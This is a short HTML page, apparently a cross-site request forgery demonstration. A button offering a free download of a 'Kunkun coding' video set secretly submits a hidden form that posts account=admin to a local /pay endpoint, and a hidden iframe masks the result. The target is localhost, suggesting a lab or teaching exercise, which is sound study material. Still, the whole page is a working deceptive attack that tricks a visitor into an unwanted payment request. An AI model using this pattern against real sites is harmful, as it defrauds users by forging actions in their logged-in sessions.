<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>坤坤coding视频在线观看</title>
    <script src="https://unpkg.com/axios@1.1.2/dist/axios.min.js"></script>
</head>
<body>
<iframe name="hiddenIframe" hidden></iframe>
<form action="http://localhost:8080/pay" method="post" target="hiddenIframe">
    <input type="text" name="account" value="admin" hidden>
    <button type="submit">点击下载坤坤coding全套视频</button>
</form>
</body>
</html>